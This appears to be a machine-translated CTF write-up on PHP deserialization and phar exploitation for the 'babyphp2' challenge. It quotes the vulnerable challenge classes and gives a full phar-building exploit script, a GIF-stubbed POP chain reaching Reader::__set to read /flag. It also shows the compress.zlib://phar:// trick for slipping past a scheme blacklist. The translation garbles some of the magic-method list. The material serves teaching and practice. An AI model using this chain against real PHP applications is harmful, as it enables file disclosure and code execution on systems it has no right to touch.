[Code Audit] [PHAR] Pinnacle geek babyphp2 learns compression filter to trigger phar

Foreword: I want to be a stick!!!

Serialization and deserialization

basic introduction

  • Serialization is the process of converting variables into strings that can be saved or transferred
  • Deserialization is to convert this string into the previous variable when appropriate
  • The purpose of php serialization is to save an object for future reuse
  • php provides serialize and unserialize functions for serialization and deserialization operations
  • Serialize converts the variable to a string and saves the value of the current variable during the conversion
  • Unserialize transforms the string generated by serialize back into a variable

Principle of PHP deserialization vulnerability

  • PHP deserialization vulnerability is also known as object injection, which may cause security issues such as injection and remote code execution.
  • How does the php deserialization vulnerability arise:
    if a php code uses the unserialize function to call a certain class, some custom magic methods will be automatically executed in the class, and if these magic methods contain some dangerous operations, or these The magic method will call other functions with dangerous operations in the class. If there are sensitive parameters that we can control in these dangerous operations, then some custom operations can be performed.

Commonly used magic functions

Knowing is just a simple list for easy review, the specific usage can be found in the detailed explanation of the sixteen magic methods of PHP in the references below
__construct(), the constructor
__destruct()of the class, the destructor of the class
__call(), and it is triggered when the inaccessible method is called in the object context
__callStatic(). when calling a call access method is not a static mode
__get(), for reading data from inaccessible property
__set(), property for writing data to inaccessible
__isset(), isset () or empty () call on the property triggers inaccessible
__unset(), Triggered when unset() is used on an inaccessible property. When
__sleep()serialize() is
__wakeup()executed, this function will be called first. When unserialize() is executed, this function will be called first
__toString(). The class is treated as a response method when a string is used
__invoke(). When the script tries Triggered when the object is called as a function
__set_state(). This static method will be called
__clone()when var_export() is called to export the class. It will be called when the object is copied
__autoload(). Try to load the undefined class
__debugInfo()and print the required debugging information.

__wakeup() bypass: CVE-2016-7124

  • Vulnerable PHP version: 5.6.25previous and 7.0.10previous 7.x versions
  • Vulnerability overview: The magic function of __wakeup() was bypassed, resulting in vulnerabilities that performed some unexpected effects
  • Vulnerability principle: When the number of attributes (variables) of the object is greater than the actual number, the __wakeup() magic function is bypassed
Too simple, I don’t want to say more, you can read my last article for detailed explanation

[Exploit] CVE-2016-7124 vulnerability recurrence (summarized from a CTF topic)

__set: pinnacle geek babyphp2

Solve the problem that phar:// cannot appear in the first part

At this time we can use compress.zlib://or compress.bzip2://function, compress.zlib://and the compress.bzip2://same applies phar://.

payload: compress.zlib://phar://phar.phar/test.txt

The key source code of this question

This question is that there are types of source code leaks, uploads, file readings, and obvious Phar deserialization. The key source code is shown below
Reader类

Class Reader{
    
    
    public $filename;
    public $result;
    public function read($filename){
    
    
        if (preg_match("/flag/i",$filename)){
    
    
            die("想多了嗷");
        }
        if (preg_match("/sh/i",$filename)){
    
    
            die("nooooooooooo!");
        }
        if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
    
    
            die("Invid Schema!");
        }
        echo file_get_contents($filename);
    }
    public function __set($name,$val){
    
    
        echo file_get_contents($val);
}
}

dbCtrl类

class dbCtrl
{
    
    
    public $token;
    public function __construct()
    {
    
    
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
    }
    public function __destruct(){
    
    
        echo $this->token;
    }
}

User类

class User
{
    
    
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function read(){
    
    
        $reader=new reader();
        $reader->read($_POST['filename']);
    }
    public function __toString()
    {
    
    
        $this->nickname->backup=$this->backup;
        $user = new User();
        $user->id = $_SESSION['id'];
        $user->nickname = $_SESSION['token'];
        return serialize($user);
    }
}

Phar use

Simple analysis:
First, the dbCtrl class object will call the echofunction after it is destroyed . If we tokenassign the value to User类it __toString, the method will be called . When it is nickname = new Reader()executed $this->nickname->backup=$this->backup;, the __setmethod will be called because it has no backup attribute.

<?php

class User
{
    
    
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
    
    
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    
    
    public $token;
    public function __construct()
    {
    
    
        $this->token = new User;
    }
}

Class Reader{
    
    
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("ichunqiu.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("ichunqiu.phar", "1.txt");

Upload the path, because the schema is filtered when the file is read, and the phar can be triggered by the compression filter:compress.zlib://phar:///var/www/html/upload/某个md5.txt

Reference article

PHP serialization and deserialization (Great Contest_CTF Lesson_Day 4)
Learn the various ways of using PHP deserialization from CTF
Detailed explanation of the sixteen magic methods of PHP

Guess you like

Origin blog.csdn.net/solitudi/article/details/108871863